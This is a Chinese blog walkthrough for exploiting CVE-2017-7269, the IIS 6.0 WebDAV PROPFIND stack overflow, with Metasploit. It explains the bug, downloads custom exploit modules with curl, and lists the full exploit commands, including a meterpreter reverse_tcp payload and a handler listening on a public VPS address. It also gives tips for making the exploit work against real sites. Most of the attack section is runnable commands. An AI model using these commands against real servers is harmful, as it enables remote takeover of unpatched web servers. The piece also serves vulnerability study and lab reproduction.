IIS6远程代码执行漏洞复现CVE-2017-7269
简述
CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。
测试环境
- 受攻击系统:windows server 2003
- 攻击系统:Kali 2018.04
- 反弹主机:Ubuntu 18.04 LTS
CVE-2017-7269漏洞原理
由恶意的 PROPFIND 请求所引起:当 If 字段包含了 http://localhost/xxxx 这段超长URL时,导致缓冲区溢出(包括栈溢出和堆溢出)
具体位置在w3wp.exe,httpext模块的ScStoragePathFromUrl函数处。
- httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出
- 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配;
- 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的;
Metasploit5利用EXP
Metasploit加载自定义模块
加载自定义模块方法
1、 在home目录里的【$HOME/.msf4/modules/exploits/】里就是自定义的模块
2、 复制自定义模块到这个目录里调用,使用msf的reload_all就可以重新加载模块路径
在线加载EXP
# 创建EXP的路径
mkdir -p $HOME/.msf4/modules/exploits/test
# 示例模块加载
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb
# 加载在线模块
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1140 0 1140 0 0 3607 0 --:--:-- --:--:-- --:--:-- 7808
本地加载EXP
mkdir -p $HOME/.msf4/modules/exploits/test
cp cve-2017-7269.rb ~/.msf4/modules/exploits/test/test_module.rb
Metasploit利用命令- CVE-2017-7269
# 示例用法
reload_all # 加载自定义模块
use exploit/test/test_module.rb # 使用刚才加载模块的路径
show optins # 显示当前配置的选项
set RHOST <远程攻击IP> # 远程攻击IP
set HttpHost <网站域名> # 远程网站
set PhysicalPathLength <长度> # 设置网站物理路径长度
set payload windows/meterpreter/reverse_tcp # 设置payload
set LHOST <监听IP> # 监听IP
exploit # 漏洞测试
# 使用
reload_all
use exploit/test/test_module.rb
show options
set RHOST 192.168.221.147
set HttpHost 192.168.221.147
set PhysicalPathLength 8
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.221.133
exploit
Metasploit反弹SHELL
实战过程中会反弹到外网的VPS上,Ubuntu VPS上安装Metasploit。
# 下载和安装metasploit
Curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
# 示例说明
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit
# 使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 103.85.24.14
set LPORT 4444
exploit

把Metasploit的meterpreter当前shell后台运行用【background】命令。再调用起来用【sessions】就可以。
Windows server 2003实战问题
- 问题1:网站本地路径的长度需要填写正确,不然触发不了缓冲溢出漏洞。例如下图路径长度为8:

- 问题2:If头信息中的两个url是要求和站点绑定相匹配的, POC中if头里面的域名及端口与绑定不一致时会失败。
- 问题3:IIS绑定的域名需要写
- 问题4:同一个应用程序池下多个站点的情况,有时对某一个站点执行exp,会导致同应用程序池下面所有的网站全部返回500,出现这种情况可以找旁站因为每个池都是独立的w3wp进程,换一个可能在其他池的进行尝试。
参考文章
[1] msf模块说明
https://www.offensive-security.com/metasploit-unleashed/modules-and-locations/
[2] msf 使用说明
https://github.com/rapid7/metasploit-framework/wiki
[3] cve-2017-7269
https://github.com/zcgonvh/cve-2017-7269
[4] iis6.0远程代码执行漏洞复现(CVE-2017-7269)
https://blog.csdn.net/darkhq/article/details/79127820
[5] CVE-2017-7269 IIS6_WebDAV远程代码执行的正确打开方式
https://anquan.baidu.com/article/391
[6] https://www.ivoidwarranties.tech/posts/pentesting-tuts/metasploit/simple-attack/
[7] https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework
[8] CVE-2017-7269的几个技巧及BUG修正
https://www.secpulse.com/archives/57264.html
IIS6远程代码执行漏洞复现CVE-2017-7269的更多相关文章
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...
- Office CVE-2017-8570远程代码执行漏洞复现
实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...
- CVE-2017-8464 LNK文件(快捷方式)远程代码执行漏洞复现
北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543) ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
- SMBv3远程代码执行漏洞复现(CVE-2020-0796)
漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...
随机推荐
- ### Error updating database. Cause: java.sql.SQLIntegrityConstraintViolationException: ORA-02291: 违反完整约束条件 (SSM.SYS_C0011830) - 未找到父项关键字
在向Oracle数据库里面插入数据时发生了以下错误 ; ]; ORA-: 违反完整约束条件 (SSM.SYS_C0011830) - 未找到父项关键字 ; nested exception : 违反完 ...
- RabbitMQ六种队列模式-路由模式
前言 RabbitMQ六种队列模式-简单队列RabbitMQ六种队列模式-工作队列RabbitMQ六种队列模式-发布订阅RabbitMQ六种队列模式-路由模式 [本文]RabbitMQ六种队列模式-主 ...
- Windows上使用Linux命令
WSL Windows Subsystem for Linux(简称WSL)是一个在Windows 10上能够运行原生Linux二进制可执行文件(ELF格式)的兼容层.它是由微软与Canonical公 ...
- linux服务器升级python版本(python2与python3共存)
linux服务器升级python版本 ######################################## 第一步先安装sqlite-devel,因为python2也有这个,python3 ...
- Javascript的数据类型(原始类型和引用类型)
1.ECMAScript3中定义了变量可分为原始值和引用值. 原始值:是保存在栈(stack)中的简单数据段:也就是说他们的值是直接存储在变量访问的位置. 引用值:是保存在堆(heap)中的对象,也就 ...
- mac 使用tesseract识别图片中的中文
安装 tesseractbrew install tesseract 加入环境变量export TESSDATA_PREFIX=/usr/local/Cellar/tesseract/4.1.0/sh ...
- [Beta阶段]第六次Scrum Meeting
Scrum Meeting博客目录 [Beta阶段]第六次Scrum Meeting 基本信息 名称 时间 地点 时长 第六次Scrum Meeting 19/05/12 大运村寝室6楼 25min ...
- 冰多多团队-第二次scrum例会
冰多多团队-第二次Scrum会议 会议基本情况 会议时间:4月8日 19:00 - 19:30 会议地点:新主楼F座2楼沙发休息处 工作情况 团队成员 已完成任务 待完成任务 zpj Service实 ...
- Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 解决办法(转)
使用yum update 更新的时候出现 “Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7” 这样的提示,去CentOS的官网:htt ...
- C++ 函数模板print
简述 在知乎看到文章leetcode 的奇怪 println vector 工具,于是手痒自己也写了一个print函数. 因为工作中没有需要写这种代码的情况,所以好久没有写这种代码了,还是挺怀念以前学 ...